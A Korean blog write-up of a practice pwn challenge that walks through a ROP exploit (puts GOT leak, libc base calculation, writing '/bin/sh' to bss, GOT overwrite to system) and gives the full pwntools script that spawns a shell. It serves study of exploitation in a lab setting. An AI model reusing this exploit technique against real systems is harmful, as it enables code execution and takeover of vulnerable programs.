WARGAME/ETC

PWN - [EASY]

raar 2020. 4. 3. 21:40

이번 문제는 ROP 연습 문제당 rop 공부하다가 아는 형이 rop 기초 연습 바이너리를 줘가지고 풀어 봤당 ( 바이너리 공유 허락 맡았습니다. )

 

 

easy
0.01MB

 

먼저 실행을 해 보면,

 

 

 

다음과 같이 문자열 입력을 한 줄 받는다. 

 

 

 

 

함수는 다음과 같이 2개가 있는데 ida로 분석해보면,

 

 

 

다음과 같이 main 함수에는 처음 바이너리를 실했을 때 보았던 문자열을 출력해주는 puts 함수와 vuln 함수를 볼 수 있다. 이어서 vuln 함수를 보면,

 

 

그냥 read 함수로 입력을 받는당 바이너리 자체는 심플 하당 이제 rop 익스 시나리오를 생각해보면, 다음과 같다.

 

 

1. puts 함수를 통해 puts_got를 인자로 libc 내부의 puts의 리얼 주소를 구한다.

2. 1 과정을 통해 구한 puts 리얼 주소 - puts offset 연산을 통해 libc base 주소를 구한다.

3. read 함수를 통해 bss 영역에 '/bin/sh\00'을 입력한다. ( bss 영역은 기본적으로 aslr의 영향을 받지 않음. )

4. 다시 한번 read 함수를 통해 puts의 got 주소를 system 함수의 주소 ( 이전의 puts를 통해 leck 한 base 주소 + system 함수 offset )로 덮어 준다. ( got overwrite 과정 )

5. system 함수 주소로 덮은 puts 함수를 bss ('/bin/sh\x00')를 인자로 실행시킨다. ( puts의 got가 system 함수 주소로 덮여 system 함수가 '/bin/sh'를 인자로 실행됨. )

 

즉 우리는 다음과 같은 주소들을  구해야 한다.

 

bss 영역 주소

puts의 plt 주소

puts의 got 주소

read의 plt 주소

pop ret 가젯 ( puts 함수 인자 정리 )

pop pop pop ret 가젯 ( read 함수 인자 정리 )

 

가젯은 다음과 같이 gdb로 바이너리를 실행시킨 다음 ropgadget을 통해 다음과 같이 구할 수 있다.

 

 

 

여기서 popret 가젯은 0x80482e9이고, pop pop pop ret 가젯은 0x80484d9 임을 알 수 있다. 그 외의 나머지 plt, got , bss 주소들은

pwntools를 통해 단번에 구할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*
 
= process("./easy")
elf = ELF("./easy")
libc = elf.libc
 
bss = elf.bss()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
pr = 0x80482e9
pppr = 0x80484d9
binsh = '/bin/sh\00'
 
p.recvuntil("!!!\n")
 
#puts leak
payload = ''
payload += 'A'*0x100
payload += 'B'*4
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
 
#bss binsh 삽입
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
 
#got overwrite
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(puts_got)
payload += p32(4)
 
#system 함수 실행
payload += p32(puts_plt)
payload += 'B'*4
payload += p32(bss)
 
p.sendline(payload)
 
puts_addr = u32(p.recv(4))
 
base = puts_addr - int(libc.symbols['puts'])
system_addr = base + libc.symbols['system']
 
p.send(binsh)
p.sendline(p32(system_addr))
 
p.interactive()
 
 

 

다음과 같이 익스 작성 후 실행시켜보면,

 

 

쉘이 따지는 것을 확인할 수 있다.